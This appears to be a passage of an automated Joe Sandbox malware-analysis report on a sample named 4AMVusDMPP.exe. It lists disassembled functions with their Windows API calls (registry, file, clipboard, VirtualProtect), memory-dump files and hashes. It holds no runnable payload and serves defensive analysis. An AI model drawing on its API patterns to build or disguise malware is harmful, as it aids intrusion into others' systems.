Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\4AMVusDMPP.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 6E882AAC Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 6E882B6B

Memory Dump Source

Source File: 00000000.00000002.1796014178.000000006E881000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E880000, based on PE: true

Associated: 00000000.00000002.1795909568.000000006E880000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796060070.000000006E884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796249019.000000006E886000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e880000_4AMVusDMPP.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: b00b92c6d2c30e9f4bedfe9de141c3e4bf311c2e7b3330fbd01bc1723239c042
Instruction ID: 3ee6f4139e5b7df3f357d571557f955369a5a9b9d25922097370f2b179dfb8b7
Opcode Fuzzy Hash: b00b92c6d2c30e9f4bedfe9de141c3e4bf311c2e7b3330fbd01bc1723239c042
Instruction Fuzzy Hash: EB413971940605EFDB20DFE8D985B9B77A9EF06368F204C26EC099B240D73C9891DBD1

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,004128C8,0040CED0,004033DE,0040CED0,004128C8,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 6E882993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6E88505C,00000004,00000040,6E88504C), ref: 6E8829B1

Memory Dump Source

Source File: 00000000.00000002.1796014178.000000006E881000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E880000, based on PE: true

Associated: 00000000.00000002.1795909568.000000006E880000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796060070.000000006E884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796249019.000000006E886000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e880000_4AMVusDMPP.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fa88f7831d3b56218b8829f5731a6e08402b14ed942af3dc38c9caa869c8df94
Instruction ID: 38d7c6d1a9d50ec613ef520e5396fa5290b3b205f131cb64ce7afd6bc85d35ba
Opcode Fuzzy Hash: fa88f7831d3b56218b8829f5731a6e08402b14ed942af3dc38c9caa869c8df94
Instruction Fuzzy Hash: D4F0AEB0944B80DECB90CF6CC844B0B3FE0B70B308B10492AE98EEA280E3745444EBD2

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

{, xrefs: 004057F5
(7B, xrefs: 0040587D

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
